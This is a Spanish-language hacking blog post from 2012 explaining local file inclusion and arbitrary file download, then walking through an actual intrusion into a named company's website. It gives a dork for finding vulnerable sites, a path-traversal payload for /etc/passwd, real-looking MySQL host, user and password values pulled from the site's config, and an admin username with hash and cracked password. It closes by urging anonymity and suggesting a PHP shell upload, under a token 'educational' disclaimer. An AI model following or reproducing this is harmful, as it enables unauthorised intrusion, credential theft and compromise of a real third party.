Full Source Disclosure ~ HD_Breaker Seguridad Informatica

domingo, 24 de junio de 2012

Full Source Disclosure


Full Source Disclosure


Para realizar este tutorial necesitamos enteder el concepto de LFI (Local File Inclution)
LFI es un error de programacion en php bastante comun donde se permite incluir dentro del codigo php
de la web afectada, el codigo de otra q este en el mismo Dominio. EJ

Include.php

<?php
$pagina = $_GET['pagina'];
include($pagina);
?>


En este Breve surce se describe una falla LFI en el Parametro $pagina donde se puede llamar al contenido de otra pagina
y posterior mente incluirla en su source atraves de include().
como se puede ver este parametro se puede llamar desde la url, de la siguiente manera.

http://WebVulnerable.com/Include.php?pagina="Archivo a Incluir"


Un ejemplo Practico de esto seria:

http://WebVulnerable.com/Include.php?pagina=../../../../../../../../../etc/passwd

esto incluiria el contenido del archivo passwd y lo haria visible dentro de la pagina Include.php


El Full Source Disclosure funciona de forma similar ya que incluiremos un archivo dentro de una pagina php de descarga,
y de esta forma analisaremos detalladamente el source en nuestra pc buscando informacion sensible

Un Dork Comun para buscar una web vulnerable es:

inurl:download.php?file=* site:.com.ar

Buscamos un objetivo y probamos si es vulnerable, en mi caso elegi:

www.latinrisk.com.ar/download.php?file=doc/brochure-esp-final.pdf



copiamos la url y sustituimos el archivo brochure-esp-final.pdf por download.php
www.latinrisk.com.ar/download.php?file=download.php



y vemos como download.php es descargado a nuestro disco duro, analisemos su contenido



Como Podremos Distingir esta la clasica falla LFI en su Source

$file = basename($_GET['file']);

Esto es lo q nos va a permitir llevar a cabo nuestro ataque. Proseguimos
Dado que podemos descargar contenido al q no tenemos acceso desde, nuestro querido download.php?file=
empesaremos a descargar paginas con contenido importante, Ej.

Descargaremos el archivo index.php y analizaremos su contenido





omo podremos Apreciar dentro del source de index.php encontraremos el archivo de configuracion inc_loader.php

<? include ('inc_loader.php'); ?>

Descargemoslo y analisemos el Source! 






Como Podremos ver en el Source encontraremos incluidas varios Archivos de Configuracion.

include('inc/connect.php');
include('inc/func_std.php');
include('inc/sanitize.php');
include('inc_variables.php');


El q nos interesa es inc/connect.php

Nuevamente Descargamos y analizamos






Como veremos en su codigo empesamos a distingir sentencias q hacen referencia a la configuracion de MySql
ademas distinguimos en el principo del Suorce q se incluye el archivo config.php, Debe ser Interesante su contenido.

include_once('config.php');

Descargemos y analisemos!!! (se tiene q respetar el directorio dentro del q nos encontramos por lo tanto la ruta a incluir es inc/config.php)






Y como por arte de magia podemos divisar los usuarios y contraseñas de MySql tanto Locales como remotos
if ($_SERVER['HTTP_HOST'] == 'localhost' || $_SERVER['HTTP_HOST'] == 'server.lan')
{
   $config['mysqlhost'] = 'localhost';
   $config['mysqluser'] = 'root';
   $config['mysqlpass'] = '';
   $config['mysqldb']   = 'db_latinrisk';
   $_URL = 'http://server.lan/latinrisk/web/';
}
else
{
//   $config['mysqlhost'] = '190.228.29.68';
   $config['mysqlhost'] = '192.168.0.170';
   $config['mysqluser'] = 'user_latinrisk';
   $config['mysqlpass'] = 'Jwe9UoL6';
   $config['mysqldb']   = 'db_latinrisk';
   $_URL = 'http://www.latin-risk.com/';
}



Ahora nos fijamos si la web Posee phpmyadmin:




Tristemente la web no tiene phpmyadmin :( pero como somos algo intrepidos y sabemos analisar el codigo vemos q el servidor MySql
es accesible desde la siguiente ip Publica 190.228.29.68 con Usuario "user_latinrisk" y password "Jwe9UoL6"
aca la imaginacion del hacker, existen varios metodos para acceder remotamente a una base de datos, yo por mi parto Utilizare MySqlNavigaitor
(Demas esta decir q el puerto defautl de Coneccion a un servidor MySql es 3306)

Llenamos los campos Correctamente y damos en Fire :)




Podemos ver las bases de datos que se encuentran en el sitio latinrisk.com.ar (empresa q se dedica a "Solventar Vulnerabilidades Informaticas a Empresas" XD)



nos vamos a db_latinrisk/gral_admin y nos encontraremos con los 2 usuarios mas poderosos de esta web



Solo queda Desencryptar la pass en md5 de alguno de los 2 usuarios y tendremos acceso al AdminPanel de LatinRisk

Para los Peresosos:

admin a4be08c8f9378e32a2ffad1ab48d3e6 (lr1120)

Buscamos el AdminPanel con la tecnica q uds mas Prefieran y llegamos a la siguiente direccion

http://www.latinrisk.com.ar/admin/



Ingresamos los datos correspondientes y damos click en Ingresar (Recomiendo usar algun metodo de Anonimato)
y podremos apreciar lo siguiente:




Solo queda Bypassear algun Upload de Imagenes y subir nuestra phpshell

Renuncia: Este Contenido es puramente Educativo, y todo uso indebido de el, corre bajo la total responsabilidad del actor.

HD_Breaker

0 comentarios:

Publicar un comentario